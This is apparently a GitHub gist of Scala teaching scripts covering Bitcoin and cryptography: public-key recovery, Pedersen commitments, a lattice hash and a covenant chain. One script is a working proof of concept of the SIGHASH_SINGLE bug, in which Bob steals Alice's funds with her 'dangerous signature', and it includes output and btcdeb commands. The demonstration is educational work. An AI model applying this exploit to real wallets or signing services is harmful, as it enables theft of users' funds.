publicKeyScript = pubkeyscript, // just send the sats to an anyone can spend output
)
),
lockTime = 0L
)
// 10. hash256 the redeeming transaction's midstate to get the sighash z
val z = Transaction.hashForSigning(
tx = tx,
inputIndex = 0,
// we are spending a p2wsh segwit output, so what is signed is the full
// redeemscript, not the pubkeyscript as in pre-segwit
previousOutputScript = redeemscript, //<--this part was tricky!
sighashType = SIGHASH_ALL,
amount = amount,
signatureVersion = SigVersion.SIGVERSION_WITNESS_V0
)
println(s"z: ${z.toHex}")
// 11. perform public key recovery on the signature and sighash
// (naive implementation provided in helper functions section at the end of this file)
val (pubkey1,pubkey2) = recoverPublicKeys(BigInt(z.toHex,16), r, s)
// choose either of the resulting pubkeys. We choose pubkey1.
println(s"using recovered pubkey $pubkey1")
// 12. assemble the redeeming transaction using the chosen pubkey
val redeemingTx = tx.updateWitness(
i = 0,
ScriptWitness(
stack = List(pubkey1.value, sig, Script.write(redeemscript))
)
)
println(s"redemming txid: ${redeemingTx.txid.toHex}")
println("self-signed redeeming transaction:")
println(redeemingTx.toString)
println("here is the btcdeb command to verify/debug:")
println(s"\nbtcdeb --verbose --tx=$redeemingTx --txin=$fundingTx")
println("\n")
// if we get past the following line without any errors, we are done!
Transaction.correctlySpends(redeemingTx,List(fundingTx),ScriptFlags.STANDARD_SCRIPT_VERIFY_FLAGS)
println("fin!")
/**************************************************************************
* Helper functions.
*/
implicit class pubkeyOps(pubkey: PublicKey) {
def toPoint: reckless.Curve.secp256k1.CurvePoint = reckless.Curve.secp256k1.CurvePoint.fromUnCompressed(pubkey.toUncompressedBin)
def negate = PublicKey(reckless.Curve.pointNegate(reckless.Curve.secp256k1)(pubkey.toPoint).compressed)
}
def recoverPublicKeys(z: BigInt, r: BigInt, s: BigInt): (PublicKey, PublicKey) = {
// https://crypto.stackexchange.com/questions/60218/recovery-public-key-from-secp256k1-signature-and-message
require(r >= 1 && r <= (n-1))
require(s >= 1 && s <= (n-1))
if(r < (p - n)) {
// there will be two possible x coordinates for point `R`
// this branch is highly unlilely for randomly chosen s and k values
// so we leave it unimplemented
???
} else {
// there is only one possible x coordinate for point `R`
// we already have a data structure for x-only public keys, so we can
// feed our x coordinate to that, and get a candidate point for `R`.
val pointR = XOnlyPublicKey(ByteVector32.fromValidHex(r.toString(16))).publicKey
require(pointR.toPoint.x.mod(n) == r, "x coordinate of point is not equal to r")
// now find the corresponding public key (there are two)
val pubkey1 = ((pointR*PrivateKey(s) - G*PrivateKey(z))*PrivateKey(r.modInverse(n)))
val pubkey2 = ((pointR.negate*PrivateKey(s) - G*PrivateKey(z))*PrivateKey(r.modInverse(n)))
require(pubkey1.isValid, "recovered pubkey1 is invalid!")
require(pubkey2.isValid, "recovered pubkey2 is invalid!")
// now lets verify the ecdsa signature
// see "Verification Algorithm" here:
// https://en.bitcoin.it/wiki/Elliptic_Curve_Digital_Signature_Algorithm
val u1 = (z*(s.modInverse(n))).mod(n)
val u2 = (r*(s.modInverse(n))).mod(n)
val sigpoint1 = (G*PrivateKey(u1) + pubkey1*PrivateKey(u2))
val sigpoint2 = (G*PrivateKey(u1) + pubkey2*PrivateKey(u2))
require(sigpoint1.isValid, "invalid signature point1 (not a valid curve point)")
require(sigpoint2.isValid, "invalid signature point2 (not a valid curve point)")
require(sigpoint1.toPoint.x.mod(n) == r, "invalid sigpoint1 x coordinate does not match r")
require(sigpoint1.toPoint.x.mod(n) == r, "invalid sigpoint2 x coordinate does not match r")
// technically, for every valid x-coordinate, there can be two corresponding
// points (public keys), where one is the "negation" of the other. We return both
// here for completness.
(pubkey1, pubkey2)
}
}
//> using lib "com.fiatjaf::scoin:0.7.0"
import scoin._, Crypto._
import scodec.bits.ByteVector
import scala.util.{Try,Success,Failure}
/**
* Deterministically coerce a message to be represented as an ecc point.
* This is done by recursively hashing the messaage until the result is a valid
* x-coordinate. The expected number of hash attempts is 2, but sometimes it
* can take a few more attempts.
*
* @param msg
* @return
a valid point (represented as a `PublicKey`) with even y-coordinate.
*/
def coerceToPoint(msg: ByteVector): PublicKey = {
@scala.annotation.tailrec
def inner(last: ByteVector32): PublicKey =
Try(XOnlyPublicKey(last)).map(_.publicKey) match {
case Success(pubkey) if(Try(pubkey.isValid).isSuccess) => pubkey
case _ => inner(sha256(last))
}
inner(sha256(msg))
}
// SIMPLE PEDERSEN COMMITMENT
// translated mostly from here:
// https://gist.github.com/cmdruid/22a8da1e21a58b4d0c31dcba54c55e2e#file-pedersen-js-L16
// Suppose a prover P wants to convince a verifier V
// that they know x and r such that: C = x*G + r*H
// G and H are independent generator points. G can be the usual point G
// in the secp256k1 specification, and H should be determined in a NUMS fashion,
// such that the discrete logarithm of H with respect to G is unknown.
// First, generate our x and r values, represented as integers.
val x = BigInt(ByteVector("deadbeef".repeat(4).getBytes).toBase16,radix=16)
val r = BigInt(ByteVector("decafeed".repeat(4).getBytes).toBase16,radix=16)
// Then, we need to compute point C.
// We need a second point (H) to be used as generator. To ensure that H is of
// unknown discrete logarithm and not related to G, we generate H as follows:
val H = coerceToPoint(sha256(G.value))
// Now we can calculate C. This is the commitment.
val C = G*PrivateKey(x) + H*PrivateKey(r)
// We also need to compute a second point A, the nonce point.
// Pick random values a,b. These serve as the scalars for the nonce point.
val a = sha256(ByteVector("super secret a".getBytes))
val b = sha256(ByteVector("super secret b".getBytes))
// Compute A = a*G + b*H.
val A = G*PrivateKey(a) + H*PrivateKey(b)
// Verifier generates a challenge c
val c = sha256(ByteVector("here is your challenge c".getBytes))
// The prover calculates responses z1 = a + cx and z2 = b + cr
// Notice how z1,z2 have the structure of schnorr signatures.
// Because there are two generators involved (G, H), there are two such
// schnorr signatures. One for each generator point.
val z1 = PrivateKey(c)*PrivateKey(x) + PrivateKey(a)
val z2 = PrivateKey(c)*PrivateKey(r) + PrivateKey(b)
// -------
// Prover sends (A, z1, z2) to Verifier.
// -------
// The verifier checks that z1*G + z2*H == c*C + A
// Recall that both points C and a are each linear combinations of
// G and H.
val Z1 = G*z1
val Z2 = H*z2
val C_v = C*PrivateKey(c)
val V_1 = Z1 + Z2
val V_2 = C_v + A
println(s"V_1: $V_1")
println(s"V_2: $V_2")
assert( V_1 == V_2 )
//> using lib "com.fiatjaf::scoin:0.6.1"
import scoin._
import scoin.Crypto._
import scodec.bits._
import scala.language.postfixOps
// Demonstrating the SIGHASH_SINGLE bug which allows stealing funds.
// See https://en.bitcoin.it/wiki/OP_CHECKSIG#Procedure_for_Hashtype_SIGHASH_SINGLE
// and https://bitcointalk.org/index.php?topic=260595.0
// First we make some people: Alice and Bob
// Their respective private keys are sha256("alice"), and sha256("bob")
object Alice {
val privateKey = PrivateKey.fromBin(Crypto.sha256(ByteVector("alice".getBytes)))._1
val publicKey = privateKey.publicKey
}
object Bob {
val privateKey = PrivateKey.fromBin(Crypto.sha256(ByteVector("bob".getBytes)))._1
val publicKey = privateKey.publicKey
}
// Now let us create a way to generate a fake coinbase transaction
// which sends some funds to the supplied redeepScript
def coinbaseTx(amountSats: Long, redeemScript: ByteVector) = Transaction(
version=0L,
txIn = Seq(TxIn.coinbase(OP_1 :: OP_1 :: Nil)),
txOut = Seq(TxOut(Satoshi(amountSats),redeemScript)),
lockTime = 0L
)
// now Alice and Bob are each given some sats in a coinbase transaction.
val tx1_alice = coinbaseTx(1000000L,Script.write(Script.pay2pkh(Alice.publicKey.hash160)))
val tx1_bob = coinbaseTx(1000000L,Script.write(Script.pay2pkh(Bob.publicKey.hash160)))
// Now Alice creates the "dangerous signature" whereby she signs a "hash" which is
// supposed to be the hash of a bitcoin transaction, but in reality such a transaction
// will never be found. Nevertheless the network will verify her signature, if it is
// used in a certain clever way.
val impossible_txhash = ByteVector32.One.toArray
// We create the signature and append the sighash_single byte
// Notice how this signature is not created by calling any bitcoin-related function
// but instead just invokes the underying raw ecdsa signing function.
val dangerous_sig = Crypto.compact2der(Crypto.sign(impossible_txhash,Alice.privateKey)) :+ SIGHASH_SINGLE.toByte
// Now, by the sighash_single "bug," if Bob is, for whatever reason, furnished
// with Alice's dangerous signature, then he can construct a transaction which
// consumes one of his own outputs and also Alice's output (e.g. a 2-in / 1-out
// consolidating transaction).
val unsigned_consolidating_tx = Transaction(
version = 1L,
txIn = Seq(
// Bob's prevOut must be first
TxIn(OutPoint(tx1_bob,0), sequence = 1L, signatureScript = ByteVector.empty),
// Alice's prevOut that Bob is going to steal.
// It must be consumed at an input index which is greater than or equal to the
// total number of ouptuts. Here the number of outputs is 1, and the index
// of Alice's input is 1. This satisfies the constraint.
TxIn(OutPoint(tx1_alice,0), sequence = 1L, signatureScript = ByteVector.empty)
),
txOut = Seq(
TxOut(
amount = tx1_alice.txOut(0).amount + tx1_bob.txOut(0).amount,
publicKeyScript = Script.write(Script.pay2wpkh(Bob.publicKey.hash160))
)
),
lockTime = 0L
)
val signed_consolidating_tx = {
val bobSig = Transaction.signInput(unsigned_consolidating_tx,0,Script.pay2pkh(Bob.publicKey.hash160),SIGHASH_ALL,Satoshi(1000000L),SigVersion.SIGVERSION_BASE,Bob.privateKey)
unsigned_consolidating_tx
.updateSigScript(0,OP_PUSHDATA(bobSig) :: OP_PUSHDATA(Bob.publicKey) :: Nil)
.updateSigScript(1,OP_PUSHDATA(dangerous_sig) :: OP_PUSHDATA(Alice.publicKey) :: Nil)
}
// If the following line does not throw an error, then Bob has stolen Alice's funds
// by triggering the sighash_single bug (in the acinq bitcoin-lib scala bitconi library)
Transaction.correctlySpends(signed_consolidating_tx, inputs = Seq(tx1_bob, tx1_alice), ScriptFlags.MANDATORY_SCRIPT_VERIFY_FLAGS)
// Print the relevant transactions for use/verification in btcdeb
println(s"alice pub key: ${Alice.publicKey.value.toHex}")
println(s"alice dangerous sig: ${dangerous_sig.toHex}")
println(s"bob pub key: ${Bob.publicKey.value.toHex}")
println(s"signed_tx=$signed_consolidating_tx")
println(s"tx1_alice=$tx1_alice")
println(s"tx1_bob=$tx1_bob")
println("----use below command to verify with btcdeb that Bob can steal Alice's funds by using her dangerous sig!----")
println(s"btcdeb --verbose tx=$signed_consolidating_tx --txin=$tx1_alice")
/**
* Program output:
alice pub key: 039997a497d964fc1a62885b05a51166a65a90df00492c8d7cf61d6accf54803be
alice dangerous sig: 30440220552b93d44c7b3d41967348778c0764db80d69cd5262cb1130256988a647c0224022021ba321be29da7476574125dbfad1365eec798988f7de3310fa69d23b2e6018303
bob pub key: 024edfcf9dfe6c0b5c83d1ab3f78d1b39a46ebac6798e08e19761f5ed89ec83c10
signed_tx=01000000022630a640bcade9b6ec4f8b75d614322dc718a4b0a8e4a137de9b1bfe104846100000000069463043021f3d1bd6c512abdc9f1ebced83796f0a8816ba6a48c1c93b570b220839660a8f02201e1df15a1cddf1e3cfaebdee3c26385ac3c059d3ffbad53fc2889adeaa8df9230121024edfcf9dfe6c0b5c83d1ab3f78d1b39a46ebac6798e08e19761f5ed89ec83c10010000006e5bc5bb7280cf072c747f0eb88f27b3f4a28d107bcadf82603c876899fec8d6000000006a4730440220552b93d44c7b3d41967348778c0764db80d69cd5262cb1130256988a647c0224022021ba321be29da7476574125dbfad1365eec798988f7de3310fa69d23b2e601830321039997a497d964fc1a62885b05a51166a65a90df00492c8d7cf61d6accf54803be010000000180841e00000000001600147c8aa0f9f7cf2cf41457213f8089e95b8f96d2d000000000
tx1_alice=00000000010000000000000000000000000000000000000000000000000000000000000000ffffffff025151ffffffff0140420f00000000001976a91433b94b70bbd434f0ad01925669bedf3469832b5888ac00000000
tx1_bob=00000000010000000000000000000000000000000000000000000000000000000000000000ffffffff025151ffffffff0140420f00000000001976a9147c8aa0f9f7cf2cf41457213f8089e95b8f96d2d088ac00000000
----use below command to verify with btcdeb that Bob can steal Alice's funds by using her dangerous sig!----
btcdeb --verbose tx=01000000022630a640bcade9b6ec4f8b75d614322dc718a4b0a8e4a137de9b1bfe104846100000000069463043021f3d1bd6c512abdc9f1ebced83796f0a8816ba6a48c1c93b570b220839660a8f02201e1df15a1cddf1e3cfaebdee3c26385ac3c059d3ffbad53fc2889adeaa8df9230121024edfcf9dfe6c0b5c83d1ab3f78d1b39a46ebac6798e08e19761f5ed89ec83c10010000006e5bc5bb7280cf072c747f0eb88f27b3f4a28d107bcadf82603c876899fec8d6000000006a4730440220552b93d44c7b3d41967348778c0764db80d69cd5262cb1130256988a647c0224022021ba321be29da7476574125dbfad1365eec798988f7de3310fa69d23b2e601830321039997a497d964fc1a62885b05a51166a65a90df00492c8d7cf61d6accf54803be010000000180841e00000000001600147c8aa0f9f7cf2cf41457213f8089e95b8f96d2d000000000 --txin=00000000010000000000000000000000000000000000000000000000000000000000000000ffffffff025151ffffffff0140420f00000000001976a91433b94b70bbd434f0ad01925669bedf3469832b5888ac00000000
*/
//> using lib "com.fiatjaf::scoin:0.7.0"
// the above is using my local fork
// 9b973ab (HEAD -> fix-pay2wpkh, origin/fix-pay2wpkh)
// not the published release
/**
* In Lattice-based Cryptography by
* Daniele Micciancio∗ Oded Regev (https://cims.nyu.edu/~regev/papers/pqc.pdf)
*
* There is a simple hash function described in section 4:
* A hash function following Ajtai’s construction.
* Parameters: Integers n, m, q, d ≥ 1.
* Key: A `n x m` matrix `A` chosen uniformly from q
* HashFunction: {0,...,d-1}^m -> (Z_q)^n
* given by h_A(x) = A*x mod q
*
* Choosing d = 2 defines the alphabet for the input `x` to
* be the set {0,1}. This means `x` can simply be a bitvector of
* length `m`.
*
* for 100 bits of security (from section 4.1):
- choosing m = 4 n log n ~ 1000,
- choose n >= 46,
- choose q = n^2 >= 2116 works
- assuming the hardness of SIS holds.
* - There are lattice hash functions with less conservative assumptions, like
* cyclic lattices that avoid needing to choose n * m random values.
*
* Other references:
* https://www.wisdom.weizmann.ac.il/~oded/COL/cfh.pdf
*
*
*/
import scoin._
import scodec.bits._
import Crypto._
// n is the "security parameter"
val n = 46
// m = 4*n*log2(n) ~ 1000
val m = 1017
// q = n*n
val q = 2116
// choose a seed for the random number generator for reproducibility sake
// val seed = 6774393790824220610L
// val seededRandom = scala.util.Random(seed)
// the above method only works locally, so it is commented out. Below we
// implement a naive but globally reproducable prng using sha256
def seedStringToIntModQ(seedString: String): Int = {
val rand256hex = sha256(ByteVector(seedString.getBytes)).toHex
BigInt(rand256hex,16).mod(BigInt(q)).toInt
}
// create a list of `m*n` random integers in the range [0,q]
// val As = Array.fill(m*n)(seededRandom.nextInt(q))
val As = (0 until n*m).map(i => seedStringToIntModQ(s"lattice $i")).toArray
// print the first 30 As for comparison purposes
println("first 30 elements of A:")
println(As.take(30).mkString(","))
// construct the matrix `A`
val A = As.grouped(m).toArray
// A has n rows and m columns
println(s"size of A is ${A.size} rows, ${A(0).size} columns")
// `A(i)(j)` will return the element in the i`th row, j'th column
// `A(i)` will just give us the i`th row
/**
*
*
* @param lhs
* @param rhs
* @return
*/
def innerProductModQ(lhs: Array[Int], rhs: Array[Int]): Int = {
require(lhs.size == rhs.size, "arrays must be same size")
// note1: for the multiplication below, one of the elements will be
// zero or one, so the multiplication can be implemented instead as
// a simple selection. We have not done that here.
// note2: the % symbol returns the remainder when divided by q.
// For example 3 % 7 == 3, or 9 % 7 == 2
lhs.zip(rhs).map(_ * _).reduce((x,y) => ((x + y) % q))
}
/**
* Our lattice hash function.
*
* @param x
* @return
*/
def h(x: ByteVector): Array[Int] = {
require(x.bits.length <= m, s"input data can only be $m bits or less")
// first we convert the input bits to an array of zeros and ones
// there are much more efficient ways to do this
val inputBits = x.bits.padRight(m).toBin.map{ case '1' => 1; case '0' => 0}.toArray
// for each row of A, we multiply (inner product) by the input vector and
// reduce the result (add up the elements) mod q
(0 until n).map(i => innerProductModQ(A(i),inputBits)).toArray
}
def hashThenPrint(msg: String): Unit = {
val x = ByteVector(msg.getBytes)
val z = h(x)
val prettyz = z.mkString("Array(",",",")")
println(s"h($msg) = $prettyz")
}
hashThenPrint("abc")
hashThenPrint("abcdefg")
hashThenPrint("abcdefghijklmnopqrstuvwxyz")
//program output:
/**
*
first 30 elements of A:
1895,1711,278,1401,592,1770,1507,835,314,1396,455,129,936,1786,992,195,237,1269,616,1211,661,280,1850,1033,709,478,981,1163,1346,268
size of A is 46 rows, 1017 columns
h(abc) = Array(1971,511,338,1986,918,168,56,127,332,2081,1559,1639,413,1436,1192,643,796,1220,2111,1085,498,2003,925,978,2034,247,1257,1479,21,1044,714,508,283,1176,1843,161,1303,1121,1876,1718,1650,314,174,1674,2058,1461)
h(abcdefg) = Array(829,1897,487,602,1575,1930,1361,141,1693,1861,1540,1264,1595,929,377,672,1755,1279,998,1139,739,1241,685,1778,2072,1020,1345,1080,139,1467,1319,698,1432,343,281,1573,148,812,1861,1667,2063,1989,1589,188,746,1538)
h(abcdefghijklmnopqrstuvwxyz) = Array(201,1426,520,1459,1593,176,1093,1338,1205,383,892,1282,1123,1673,1336,2014,1923,1002,2056,329,1328,1899,1615,195,1027,1728,210,472,804,688,86,323,686,944,1435,811,229,319,105,366,189,373,621,1425,2001,1420)
*/
/**
* Some helper functions for defining bitcoin scripts and evaluating them with a stack
* */
val scriptAddOne = OP_1 :: OP_ADD :: Nil
//> using lib "com.fiatjaf::scoin:0.7.0"
import scoin._
import scodec.bits._
// a private key for mary the miner
val privkeyMary = PrivateKey(Crypto.sha256(ByteVector("abc".getBytes)))
val pubkeyMary = privkeyMary.publicKey
// build a coinbase tx with 100000 sats
val coinbaseTx = Transaction(
version=1L,
txIn = Seq(TxIn.coinbase(OP_1 :: OP_1 :: Nil)),
txOut = Seq(TxOut(Satoshi(100000), Script.pay2wpkh(pubkeyMary))),
lockTime = 0L
)
// initial covenant tx
// covenant output is signed with sighash_anyonecanpay + sighash_single = anyone can add inputs + outputs
// we want it to be RBF enabled, meaning anyone can pay for inclusion (highest bid)
// how to do the covenant:
// "Trusted" setup (CPFP, works today) - generate sequence of transactions
// and then throw away the key
// redeem script for covenant output: <pubkey> OP_CHECKSIGVERIFY OP_PUSHNUM_1 OP_CSV
// redeem script for anyone can spend output: OP_0 OP_CSV OP_1ADD
// covenant tx example: https://mempool.space/signet/tx/e99c498a1ae2597d7229d6b37d71b5d11cdeb1677081f88962feaa303aef2b10
// cpfp example: https://mempool.space/signet/tx/62c1e163f6c644492c7f025a5a2e49269b8b896b8a086e0f1c02e9aab7f9543c
//
val covenantRedeemScript = OP_PUSHDATA(pubkeyMary) :: OP_CHECKSIGVERIFY :: OP_1 :: OP_CHECKSEQUENCEVERIFY :: Nil
val anyoneCanSpendRedeemScript = OP_0 :: OP_CHECKSEQUENCEVERIFY :: OP_DROP :: OP_CHECKSIG :: Nil
val initialCovenant = {
val tmp = Transaction(
version = 1L,
txIn = Seq(TxIn(OutPoint(coinbaseTx.hash,0), sequence = 0xffffffffL, signatureScript = ByteVector.empty, witness = ScriptWitness.empty)),
txOut = Seq(
TxOut(Satoshi(4500), Script.pay2wsh(covenantRedeemScript)),
TxOut(Satoshi(500),Script.pay2wsh(anyoneCanSpendRedeemScript)) // <-- this is the reason why the pre-generate-throwaway-the-key method is expensive!
),
lockTime = 0L
)
// sign the initial covenant (note: with segwit, the script used for signing a p2wpkh input is p2pkh, not p2wpkh)
// (note: remember that an output is always spent in full, hence the amount signed must match the amount of the prevout)
val pubKeyScript = Script.pay2pkh(pubkeyMary)
val sig = Transaction.signInput(tmp,0,pubKeyScript,SIGHASH_SINGLE | SIGHASH_ANYONECANPAY,Satoshi(100000),SigVersion.SIGVERSION_WITNESS_V0,privkeyMary)
val witness = ScriptWitness(Seq(sig,pubkeyMary.value))
tmp.updateWitness(0,witness)
}
Transaction.correctlySpends(initialCovenant,Seq(coinbaseTx),ScriptFlags.STANDARD_SCRIPT_VERIFY_FLAGS)
// if we get this far, horray.
println("coinbase tx: " + coinbaseTx)
println("spent by tx0: " + initialCovenant)
// Build the next transaction in a chain of covenants
def nextCovenantTx(currentTx: Transaction): Transaction = {
val amount = currentTx.txOut(0).amount //unsafe, assumes 0th index is covenant
val tmp = Transaction(
version = 2L,
txIn = Seq(TxIn(OutPoint(currentTx.hash,0), sequence = 1L, signatureScript = ByteVector.empty, witness = ScriptWitness.empty)),
txOut = Seq(
TxOut(amount, Script.pay2wsh(covenantRedeemScript)),
TxOut(Satoshi(500),Script.pay2wsh(anyoneCanSpendRedeemScript))
),
lockTime = 1L
)
val pubKeyScript = covenantRedeemScript
val sig = Transaction.signInput(tmp,0,pubKeyScript,SIGHASH_SINGLE | SIGHASH_ANYONECANPAY,amount,SigVersion.SIGVERSION_WITNESS_V0,privkeyMary)
val witness = ScriptWitness(Seq(sig, Script.write(pubKeyScript)))
tmp.updateWitness(0,witness)
}
val tx1 = nextCovenantTx(initialCovenant)
Transaction.correctlySpends(tx1,Seq(initialCovenant),ScriptFlags.STANDARD_SCRIPT_VERIFY_FLAGS)
println("spent by tx1: " + tx1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment